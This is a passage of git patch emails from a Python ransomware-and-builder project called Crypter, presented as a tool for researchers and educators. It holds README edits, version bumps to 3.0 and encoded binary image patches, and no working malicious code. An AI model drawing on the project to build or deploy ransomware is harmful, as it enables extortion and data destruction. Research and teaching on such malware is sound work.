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 Date: Sun, 26 Apr 2020 14:15:24 +0100 Subject: [PATCH 22/41] README - Intro --- README.md | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) diff --git a/README.md b/README.md index 46c3666..5ed7f7f 100644 --- a/README.md +++ b/README.md @@ -1,14 +1,18 @@

Crypter

- -

-Crypter is a Ransomware and Builder package written purely in Python +
+ A Ransomware and Builder package for Windows written purely in Python +


+ +Created for security researchers, enthusiasts and educators, Crypter allows you to experience ransomware first hand. The newly released v3.0 is a complete overhaul that drastically simplifies setup and brings the package up-to-date to work with Python 3.6 and above. + +If you're looking to dive straight in then head to the section on Getting Started. Otherwise continue reading to learn more about Crypter.

What's New?

Disclaimer

-## Getting Set Up +## Getting Started ## Components ******** @@ -16,4 +20,4 @@ Crypter is a Ransomware and Builder package written purely in Python ## How does Crypter work -## Ethical Concerns \ No newline at end of file +## Ethical Concerns From 6ce8fd27bb23a9fc9757ed975fc8a4a889e8fb71 Mon Sep 17 00:00:00 2001 From: Sithis Date: Sun, 26 Apr 2020 14:16:24 +0100 Subject: [PATCH 23/41] README image --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5ed7f7f..bb54ae6 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@

Crypter

-
+
A Ransomware and Builder package for Windows written purely in Python


From 24fa4f20ebd368a5b14e6b1fcbd25247bd189b72 Mon Sep 17 00:00:00 2001 From: sithis Date: Sun, 26 Apr 2020 14:23:03 +0100 Subject: [PATCH 24/41] Bumped version no --- Builder.pyw | 3 +-- Crypter/Crypter/Crypter.py | 2 +- CrypterBuilder/Base.py | 4 ++-- 3 files changed, 4 insertions(+), 5 deletions(-) diff --git a/Builder.pyw b/Builder.pyw index 078009c..dfb8795 100644 --- a/Builder.pyw +++ b/Builder.pyw @@ -1,7 +1,6 @@ ''' @summary: Crypter Build script. Invokes the Crypter Exe Builder -@author: MLS -@version: 0.1 +@author: Sithis ''' # Import libs diff --git a/Crypter/Crypter/Crypter.py b/Crypter/Crypter/Crypter.py index c2647f9..5bc14d1 100644 --- a/Crypter/Crypter/Crypter.py +++ b/Crypter/Crypter/Crypter.py @@ -1,7 +1,7 @@ ''' @summary: Crypter: Ransomware written entirely in python. @author: MLS -@version: 2.40 +@version: 3.0 ''' import json diff --git a/CrypterBuilder/Base.py b/CrypterBuilder/Base.py index b501acc..96f30e0 100644 --- a/CrypterBuilder/Base.py +++ b/CrypterBuilder/Base.py @@ -10,8 +10,8 @@ from collections import OrderedDict ## VERSION -MAJ_VERSION = "2" -MIN_VERSION = "40" +MAJ_VERSION = "3" +MIN_VERSION = "0" # TITLE TITLE = "Crypter Builder v%s.%s" % (MAJ_VERSION, MIN_VERSION) From 6a30ecedbbb5e02fdb4df07716bfa73e1ef436d7 Mon Sep 17 00:00:00 2001 From: sithis Date: Sun, 26 Apr 2020 14:23:11 +0100 Subject: [PATCH 25/41] Updated exampke image --- repo_images/crypter_example.png | Bin 127393 -> 197862 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/repo_images/crypter_example.png b/repo_images/crypter_example.png index ed06cc0cd4b4669f81305ccfd36177d65ababdf2..e3310d1c9b05a63fef048d2288313b73923a0c11 100644 GIT binary patch literal 197862 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 